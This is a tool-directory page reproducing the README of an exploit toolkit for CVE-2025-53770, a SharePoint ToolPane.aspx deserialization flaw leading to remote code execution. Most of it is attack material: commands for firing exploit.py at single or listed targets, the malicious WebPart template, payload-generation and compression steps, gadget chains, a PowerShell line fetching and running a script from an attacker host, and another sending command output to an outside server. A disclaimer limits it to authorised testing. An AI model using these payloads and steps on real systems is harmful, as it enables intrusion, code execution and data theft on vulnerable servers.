Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-53770-Exploit — SharePoint WebPart Injection Exploit Tool | Kitploit
Tools/GitHubGitHub/soltanali0/cve-2025-53770-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubsoltanali0/cve-2025-53770-exploit

CVE-2025-53770-Exploit

SharePoint WebPart Injection Exploit Tool

View Repository
3137739 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

📌 SharePoint WebPart Injection Exploit Toolkit

🍕 Exploit tool for SharePoint WebPart Injection via ToolPane.aspx, leading to .NET deserialization and potential remote code execution (RCE).

Developed by: @GOTOCVE


🌍 Overview

This tool exploits a vulnerability in Microsoft SharePoint (on-premises) that allows authenticated users to abuse the ToolPane.aspx endpoint and inject malicious WebParts containing GZIP-compressed serialized .NET objects.

The injected object is placed inside the MSOTlPn_SelectedWpId parameter and embedded in a fake WebPart (such as <Scorecard:ExcelDataSet>) that gets parsed and deserialized by the SharePoint backend.


⚙️ Features

  • ✅ Automatic endpoint validation (ToolPane.aspx)
  • ✅ Injection of user-supplied payloads (GZIP+Base64-encoded .NET LosFormatter objects)
  • ✅ Proxy support for Burp/ZAP
  • ✅ Support for file-based or direct payload input

🧪 Supported Versions

ProductAffected Versions
SharePoint Server 201616.0.4351.1000 - 16.0.5508.1000
SharePoint Server 201916.0.10337.12109 - 16.0.10417.20027

⚡ Vulnerability Summary

FieldValue
ComponentMicrosoft SharePoint (On-Premises)
Endpoint/layouts/15/ToolPane.aspx
ParameterMSOTlPn_DWP
WebPart<Scorecard:ExcelDataSet CompressedDataTable>
IssueInsecure .NET deserialization
CVECVE-2025-53770

🧰 Toolkit Components

✅ 1. exploit.py

Multi-threaded SharePoint exploit tool for CVE-2025-53770.

  • Detects SharePoint + version
  • Checks access to /ToolPane.aspx
  • Sends malicious WebPart payload

✅ 2. YSLosf.exe

LosFormatter Payload Generator & Deserializer.

image

🚀 Usage

🔸 Basic Usage

root@kitploit:~
python3 exploit.py -u https://target -p payload.txt

🔸 Multiple Targets

root@kitploit:~
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080

🔸 All Arguments

ArgumentDescription
-uTarget URL (e.g., https://sp.company.local)
-fFile containing target URLs (one per line)
-pPayload file or direct Base64 GZIP string
--proxyOptional proxy (e.g., http://127.0.0.1:8080)
-tTimeout in seconds (default: 15)

🔧 Requirements

  • Python 3.10
  • Install dependencies:
root@kitploit:~
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
  • .NET 4.8 Runtime (to run YSLosf.exe)

💥 Payload Structure

Your payload must be:

  1. A .NET object (e.g. DataSet, ObjectDataProvider)
  2. Serialized using LosFormatter or BinaryFormatter
  3. Base64-encoded
  4. GZIP-compressed

Embedded in a WebPart like:

root@kitploit:~
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

🛠 Generating Payloads with YSLosf

Step 1: Create Payload File

Put your command (e.g., reverse shell) into payload.txt:

root@kitploit:~
powershell -nop -c iwr http://attacker/shell.ps1 | iex

Step 2: Generate Base64 Payload

root@kitploit:~
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j

Base64 encoded:
L3dFRkJXWnNkRzFq

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc

Step 3: Compress & Finalize

root@kitploit:~
# compress.py
import gzip, base64

with open("base64.txt", "rb") as f:
    b64 = base64.b64decode(f.read())
    gz = gzip.compress(b64)
    # print(base64.b64encode(gz).decode())
    encoded = base64.b64encode(gz).decode()

with open("payload-final.txt", "w") as out_file:
    out_file.write(encoded)

Save the output into payload-final.txt and pass it to the exploit tool.


🧵 Supported Gadget Chains

  • System.Data.DataSet
  • System.Data.Services.Internal.ExpandedWrapper
  • System.Windows.Data.ObjectDataProvider
  • System.Web.UI.LosFormatter

📡 Notes on Command Output

This vulnerability does not return output (e.g. ipconfig) in the response. You must:

  • Use reverse shell payloads
  • Or exfil output:
root@kitploit:~
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"

⚠️ Legal Disclaimer

This tool is provided for educational and authorized security testing only.

Do not use against systems without explicit permission. Misuse may be illegal and unethical.


🔍 Detection

If a vulnerable server accepts the payload and reflects MSOTlPn_SelectedWpId or renders the page with the injected WebPart, it's likely exploitable. No output means the deserialization failed or the server patched it.


🛑 Legal Clarification & Scope of this Tool

This tool does not deliver or execute any shellcode, web shell. It only demonstrates exploitation of the .NET deserialization vulnerability (CVE-2025-53770) through the vulnerable ToolPane.aspx endpoint using a malicious WebPart structure containing a GZIP-compressed .NET object.

🔹 Purpose: To help researchers, red teamers, and defenders detect vulnerable SharePoint servers and test the injection vector safely with custom payloads.

🔹 Payloads: The tool requires users to generate their own payloads (e.g., using YSLosf.exe) which are embedded in the WebPart as Base64-encoded GZIP strings.
It is the user’s responsibility to choose appropriate and ethical payloads (such as harmless calc.exe execution, beacon markers, etc.).

🔹 NO Reverse Shells/Web Shells included:
While attackers in the wild may drop web shells like spinstall0.aspx, this project does not include any such logic.
If you're planning on delivering a reverse shell, you must generate your own payload manually and take full responsibility for its use.

Star History

Star History Chart

📢 More Exploits & CVEs?

Join @GOTOCVE on Telegram:

  • 🔍 Weekly CVE breakdowns
  • 🧠 Deep exploit writeups
  • 🛡 Red & Blue Team content
  • 💣 Real PoCs & detection tips

📬 Contact

Created by Ali Soltani
For research inquiries or bug reports, message via Telegram

Download Tool